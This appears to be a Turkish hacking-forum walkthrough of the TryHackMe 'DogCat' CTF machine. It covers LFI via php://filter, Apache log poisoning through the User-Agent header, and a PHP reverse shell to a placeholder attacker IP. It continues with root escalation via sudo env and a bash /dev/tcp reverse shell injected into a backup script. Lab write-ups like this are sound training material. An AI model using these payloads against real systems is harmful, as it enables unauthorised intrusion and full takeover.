Merhaba THT ailesi, bu konumda TryHackMe sitesinde bulunan DogCat isimli makinenin çözümünü anlatacağım.
Bu CTF LFI açığı üzerinden makineye sızmayı konu alıyor daha iyi anlayabilmek için forumdaki LFI konularına bakabilirsiniz.
İlk olarak Nmap taraması yaparak başlıyoruz.
nmap -sS -sV MakineIP
80 ve 20 portlarının açık olduğunu görüyoruz, 80 portu olduğu için makinenin kendine ait bir websitesi var bu siteye http://MakineIP yazarak giriyoruz.
URL'ye baktığımızda, sayfanın, "dog" veya "cat" değerini "view" değişkenine ileten dog/ veya cat/ klasöründe saklanan resimleri gösteren bir php çalıştırdığını görüyoruz.
http://MakineIP/?view=dog
/etc/passwd'yi örneğin req url ile şu şekilde görüntüleyip görüntüleyemeyeceğimizi kontrol etmek için bazı temel LFI parametreleri deniyoruz:
http://MakineIP/?view=../../../../../../../etc/passwd
Erişim sağlayamadık.
Google' a Php LFI Filter yazıyorum, bu sitede verilen filtreyi deneyerek base64 encode yapacağız.
http://MakineIP/?view=php://filter/convert.base64-encode/resource=dog
Bize base64 ile encode edilmiş birşey verdi.
Şimdi bize verdiği metni decode ederek içeriğine bakalım.
Burada dizin geçişini kullanarak index.php dosyasının kaynağını da kontrol edebileceğimizi görüyoruz.
Buradaki önemli nokta, dosya uzantısı bir "ext" değişkeni iletmemize izin vermesidir.
Şimdi, aşağıdaki istekle /etc/passwd dosyasını okuyabilir miyiz diye kontrol ediyoruz.
Denediğimiz yöntem işe yaradı.
Şimdi tüm isteklerimizi günlüğe kaydeden günlük dosyasını bulup bulamayacağımızı kontrol ediyoruz. Biraz uğraştıktan sonra, /var/log/apache2/access.log dosyasında, sunucunun günlüklerini buluyoruz. Son isteğimizi orada görüyoruz.
Günlüğün, bizi Mozilla Firefox olarak kaydettiğini görüyoruz. Bu nedenle ana php dosyasıyla birlikte çalıştırılacak olan User-agent başlığımıza bir php kodu enjekte edip edemeyeceğimizi kontrol ediyoruz. Bunu tekrar tekrar test etmek için burpsuite Repeater kullanabiliriz. TurkHackTeam yazarak deniyorum.
Başarılı olduk User-agent üzerinden php enjeksiyonu yapabiliyoruz.
Artık kod çalıştırabildiğimizi öğrendiğimize göre bir reverse shell açıp sisteme sızalım.
Terminale geliyoruz
nc -lvnp 4444(istediğiniz bir numara yazabilirsiniz)
artık ağımıza gelen istekleri yakalayabiliriz.Pentest Monkey yada herhangi bir reverse shell cheat sheet sitesine girip php reverse shell bakıyoruz.
MakineIP/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php -r '$sock=fsockopen("IPadresiniz",dinlediğiniz port);exec("/bin/bash -i <&3 >&3 2>&3");'
Bu adımı yaptıktan sonra artık sisteme girdik bu bölümden sonrasını terminal kodları üzerinden göstereceğim.
#CTF'İN İSTEDİKLERİNİ BULALIM
Artık sisteme girdik ve ls yazarak girdiğimiz bölümdeki hangi dosyalar var görüntülüyoruz. Terminale
cat flag.php
yazarak hedefimize ulaşıyoruz.
Kod:
www-data@5ab1679239ec:/var/www/html$ ls
ls
cat.php
cats
dog.php
dogs
flag.php
index.php
style.css
test.php
Terminale cd.. yazarak bir üst dosyaya çıkıyoruz ve yine ls yapıyoruz 2. hedefimize ulaşmış oluyoruz.
Kod:
www-data@5ab1679239ec:/var/www$ ls
ls
flag2_QMW7JvaY2LvK.txt
html
Üçüncü hedefimiz /root klasöründe, onu almak için yetkilerimizi yükseltmeye ihtiyacımız var. Terminale
sudo -l
yazıyoruz bize “/usr/bin/env” dosyasını parola olmadan root olarak çalıştırabileceğimizi gösteriyor. Yetkimizi yükseltiyoruz root klasörünün içerisine giriyoruz ve 3. hedefimiz karşımızda artık tek yapmamız gereken terminale cat flag3.txt
yazmak.
Kod:
www-data@5ab1679239ec:/var/www$ sudo /usr/bin/env /bin/bash
sudo /usr/bin/env /bin/bash
whoami
root
cd /root
ls
flag3.txt
Dördüncü bayrak bu kutunun dışında. Bunu “/opt/backups”a girip yedekleme arşivine bakarak görebiliriz.
Son hedefimiz için yine bir reverse shell açmamız gerekiyor.
Son hedefimiz için yine bir reverse shell açmamız gerekiyor.
Kod:
echo "#!/bin/bash" > backup.sh
echo "/bin/bash -c 'bash -i >& /dev/tcp/<IP_ADRESİN>/1234 0>&1'" >> backup.sh
Kod:
root@dogcat:~# ls
ls
container
flag4.txt
#CTF CEVAPLARI
Son düzenleme: